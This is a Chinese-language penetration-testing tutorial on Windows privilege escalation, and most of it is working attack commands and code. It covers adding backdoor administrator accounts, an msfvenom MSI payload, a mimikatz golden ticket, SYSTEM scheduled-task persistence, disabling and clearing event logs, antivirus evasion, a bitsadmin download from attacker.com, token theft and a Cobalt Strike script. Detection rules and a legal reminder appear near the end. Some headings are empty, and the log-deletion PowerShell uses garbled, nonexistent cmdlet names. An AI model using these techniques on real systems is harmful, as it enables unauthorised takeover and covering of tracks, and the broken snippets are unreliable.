内网提权是渗透测试中获取更高权限的关键环节。当攻击者通过某种方式(如钓鱼邮件、漏洞利用)初步获取内网某台主机的普通用户权限后,需要通过提权技术获得管理员或系统级权限,才能进一步横向移动、获取敏感数据或控制整个内网环境。
Windows内网提权主要分为两大类技术路径:
漏洞提权:利用操作系统或应用软件中存在的安全漏洞(如内核漏洞、服务漏洞)直接获取系统权限。典型代表有MS17-010(永恒之蓝)、CVE-2021-34527(PrintNightmare)等。
配置错误提权:利用系统或应用程序的错误配置(如弱密码、权限设置不当、服务配置缺陷)间接获取更高权限。常见手法包括服务路径劫持、AlwaysInstallElevated利用、计划任务滥用等。
实际渗透测试中,配置错误提权往往比漏洞提权更常见。因为企业内网通常存在大量历史遗留系统,管理员为方便运维常会放宽权限设置,这为攻击者提供了可乘之机。
内核漏洞是提权中最直接的武器。以下是典型利用流程:
信息收集:
powershell复制systeminfo | findstr /B /C:"OS Name" /C:"OS Version" # 获取系统版本
wmic qfe get Caption,Description,HotFixID,InstalledOn # 查看已安装补丁
漏洞匹配:
利用准备:
bash复制x86_64-w64-mingw32-gcc exploit.c -o exploit.exe -lws2_32
执行利用:
cmd复制exploit.exe "whoami" # 测试执行命令
exploit.exe "net user hacker P@ssw0rd /add && net localgroup administrators hacker /add"
案例1:CVE-2018-8120(Win32k提权漏洞)
案例2:CVE-2020-0787(BITS服务漏洞)
reg复制reg query HKLM\SYSTEM\CurrentControlSet\Services\BITS /v DisplayName
当Windows服务以SYSTEM权限运行但可执行文件路径未被正确引号包裹时,攻击者可通过在路径中插入恶意程序实现提权。
实操步骤:
查找易受攻击的服务:
powershell复制wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\"
检查服务权限:
powershell复制sc qc "服务名" # 查看服务配置
icacls "目标路径" # 检查目录写入权限
创建恶意exe并放置到劫持路径:
c复制// payload.c
#include <stdlib.h>
int main() {
system("net user backdoor P@ssw0rd! /add");
system("net localgroup administrators backdoor /add");
return 0;
}
重启服务触发:
cmd复制net stop "服务名" && net start "服务名"
当组策略启用AlwaysInstallElevated时,任何用户都能以SYSTEM权限安装MSI包。
检测与利用:
检查注册表项:
cmd复制reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
生成恶意MSI:
bash复制msfvenom -p windows/adduser USER=hacker PASS=P@ssw0rd! -f msi -o setup.msi
安装执行:
cmd复制msiexec /quiet /qn /i setup.msi
黄金票据攻击:
powershell复制mimikatz.exe "kerberos::golden /user:Administrator /domain:corp.com /sid:S-1-5-21-... /krbtgt:hash /ptt"
计划任务创建:
cmd复制schtasks /create /tn "UpdateTask" /tr "C:\malware.exe" /sc hourly /ru SYSTEM
清除单条日志:
powershell复制获取-事件日志 -LogName Security | where {$_.InstanceId -eq 4624} | 删除-事件日志
禁用日志服务:
cmd复制sc config eventlog start= disabled
net stop eventlog
补丁管理:
权限控制:
powershell复制# 禁用危险特权
secedit /configure /cfg %windir%\inf\defltbase.inf /db defltbase.sdb /verbose
YARA规则检测恶意提权工具:
yara复制rule JuicyPotato_Detect {
meta:
description = "Detects JuicyPotato privilege escalation tool"
strings:
$s1 = "CLSID_%s" fullword ascii
$s2 = "CoGetInstanceFromIStorage" fullword ascii
condition:
all of them
}
Sigma规则检测服务路径修改:
yaml复制title: Suspicious Service Path Modification
description: Detects changes to service executable paths
logsource:
product: windows
service: system
detection:
selection:
EventID: 7040
ServiceFileName|contains:
- ' '
- '..\'
- '.exe'
condition: selection
falsepositives:
- Legitimate service updates
level: high
问题1:EXP编译后被杀毒软件拦截
powershell复制$bytes = [System.IO.File]::ReadAllBytes("exploit.bin")
$assembly = [System.Reflection.Assembly]::Load($bytes)
$assembly.EntryPoint.Invoke($null, @())
问题2:服务重启失败导致业务中断
cmd复制sc failure "服务名" reset= 30 actions= restart/5000
问题3:组策略限制命令执行
cmd复制bitsadmin /transfer job /download /priority high http://attacker.com/payload.exe C:\temp\payload.exe
cmd复制certutil -decode encoded.txt payload.exe
使用进程注入技术窃取SYSTEM进程token:
cpp复制HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
HANDLE hToken;
OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &hToken);
ImpersonateLoggedOnUser(hToken);
利用约束委派漏洞获取域控权限:
powershell复制# 检查约束委派配置
Get-ADComputer -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo
powershell复制# 检查常见提权向量
function Check-PrivEsc {
# 服务检查
$services = Get-WmiObject win32_service | Where-Object {
$_.PathName -notmatch '^"' -and $_.PathName -match '\.exe'
}
# 注册表检查
$alwaysInstall = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer" -Name "AlwaysInstallElevated" -ErrorAction SilentlyContinue).AlwaysInstallElevated
# 输出报告
[PSCustomObject]@{
VulnerableServices = $services
AlwaysInstallElevated = $alwaysInstall
Hotfixes = Get-HotFix | Select-Object -ExpandProperty HotFixID
}
}
将提权模块整合到C2框架(如Cobalt Strike):
java复制// Aggressor脚本示例
sub privilege_escalate {
local('$bid $output');
$bid = $1;
// 尝试多种提权方法
bpowerpick($bid, "whoami /priv");
bexecute($bid, "C:\\tools\\JuicyPotato.exe -l 1337 -p C:\\windows\\system32\\cmd.exe");
$output = bread($bid);
blog($bid, "提权结果: " . $output);
}
重要提醒:所有提权技术必须在获得明确书面授权的范围内使用。未经授权的渗透测试可能违反《计算机犯罪法》等法律法规。
合规测试流程:
授权书关键条款示例:
code复制被授权方可在2023年1月1日至1月7日期间,对192.168.1.0/24网段内的系统进行安全测试,包括但不限于漏洞扫描、权限提升测试。测试不得影响业务系统正常运行,所有测试数据需在完成后30天内销毁。
2023年值得关注的新攻击面:
云原生提权:
硬件相关漏洞:
AI模型攻击:
研究这些前沿技术需要持续跟踪: